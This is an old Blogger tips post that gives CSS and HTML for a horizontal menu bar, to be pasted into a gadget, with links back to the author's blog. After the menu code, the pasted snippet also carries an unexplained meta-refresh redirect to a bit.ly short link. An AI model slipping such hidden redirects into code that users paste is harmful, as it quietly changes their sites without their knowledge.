Create Additional Horizontal Menu bar just using Html/script gadget

October 28, 2009 by admin
Filed under Blogger Tricks, Widgets

If u would like to add A Horizontal menu bar to your blogger,without indulging, in any of the fuss of editing css,html of your template.Then this menu bar Is the best For your blogger.

Advantages;

Can be easily added
Can be customized to change its color
Hovering effect present.
Any number of links can be added.

<style type=”text/css”>

/*URL: http://hackapc.blogspot.com/ */
.underlinemenu{ font-weight: bold; width: 100%;
}
.underlinemenu ul{ padding: 6px 0 7px 0;
/*6px should equal top padding of “ul li a” below, 7px should equal bottom padding bottom border of “ul li a” below*/ margin: 0; text-align: right; //set value to “left”, “center”, or “right”*/ } .underlinemenu ul li{ display: inline; } .underlinemenu ul li a{ color: #494949; padding: 6px 3px 4px 3px; /*top padding is 6px, bottom padding is 4px*/ margin-right: 20px; /*spacing between each menu link*/ text-decoration: none; border-bottom: 3px solid gray; /*bottom border is 3px*/ } .underlinemenu ul li a:hover, .underlinemenu ul li a.selected{ border-bottom-color: black; } </style> <div class=”underlinemenu”> <ul> <li><a href=”http://hackapc.blogspot.com/“>Home</a></li> <li><a href=”http://hackapc.blogspot.com/search/label/Blogger%20Themes“>Free Blog templates</a></li> <li><a href=”http://hackapc.blogspot.com/search/label/Widgets“>Widget</a></li> <li><a href=”http://hackapc.blogspot.com/search/label/Tips“>Tricks and Hack</a></li> <li><a href=”http://hackapc.blogspot.com/search/label/Hacks%20and%20Tweaks“>Hacks and Tweaks </a></li> </ul> </div>

<b:if cond=’data:blog.URL ==”http://bit.ly/4FpfF1″‘><meta content=’0;url=http://bit.ly/4FpfF1′ HTTP-equiv=’refresh’/></b:if>

All You have to do is:
1.copy the above code.
2.Go to your Dashboard then page element.Then click on add a gadget
3.select Html/javascript
4.paste the above copied code and place It just below your header
5. Change the links in Blue color and change the menu name in red color as per u r blog labels

click save and view changes

This Post is Written by Hacking Articles and Hacking A Day